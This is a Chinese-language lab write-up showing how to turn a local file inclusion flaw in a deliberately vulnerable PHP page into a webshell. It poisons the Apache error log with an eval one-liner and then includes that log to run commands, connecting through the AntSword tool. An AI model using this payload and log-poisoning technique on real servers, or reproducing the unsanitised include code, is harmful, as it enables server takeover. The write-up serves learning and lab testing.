目录
- 1 实验介绍
- 2 实验环境
- 3 实验步骤
- 3.1 包含日志文件getshell
- 拓展
- 4 总结
1 实验介绍
实验要求:假设攻击者已经知道某网站存在且仅存在本地文件包含漏洞,并且没有文件上传漏洞点及其他漏洞,如何GetShell。
实验目的:利用本地文件包含漏洞GetShell。
2 实验环境
(1)靶机
-
本文实验基于WAMP环境进行测试,环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,IP为172.16.1.1。
-
查看靶机PHP版本。需要查看所搭建的服务器的PHP版本,下一步修改其配置。
-
打开phpstudy安装文件夹,找到PHP-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。
-
在该环境网站根目录下,新建文件夹FileInclusion,在FileInclusion文件夹下新建以下文件进行实验。新建一个txt文件,输入以下代码,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
(2) 攻击机
真实机上安装BurpSuite和中国蚁剑,相关软件的安装参考《【Burp Suite工具-1】BurpSuite简介及安装过程详解》、《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。
3 实验步骤
3.1 包含日志文件getshell
思路:由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,日志文件记录报错的方法,来往日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。具体步骤如下:
(1)将访问include.php页面的URL链接http://172.16.1.1/FileInclusion/include.php
复制,在BurpSuite的repeater模块中右键选择Paste URL as request以URL形式添加请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。
(2)在请求行中,将文件路径修改请求为一句话代码<?php @eval($_REQUEST['cmd']);?>
,点击发送,可以看到响应报错。
(3)服务器在请求报错后,在错误日志中就会增加一条响应记录。在靶机上我们打开Apache的错误日志,路径为C:\phpStudy\PHPTutorial\Apache\logs\error.log
,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行。
(4)利用中国蚁剑连接。真实机中打开中国蚁剑→添加数据→填写URL地址和连接密码,其中URL地址http://172.16.1.1/FileInclusion/include.php?path=C:\phpStudy\PHPTutorial\Apache\logs\error.log
,密码为cmd,点击添加。
(5)管理服务器。添加后在软件主界面可以看到新添加的内容,双击即可管理服务器。
拓展
(1) 包含session文件,造成session泄露
(2)metinfo5.0.4文件包含漏洞代码审计
4 总结
思路:第一步利用一切可能让服务器本地某个文件中含有一句话木马;第二步文件包含之让代码执行。
思考:如果错误日志不是在默认位置,应该如何找到或者是否有其他途经?
思考:如果靶机存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用靶机远程文件包含该文件,并不能Get靶机Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。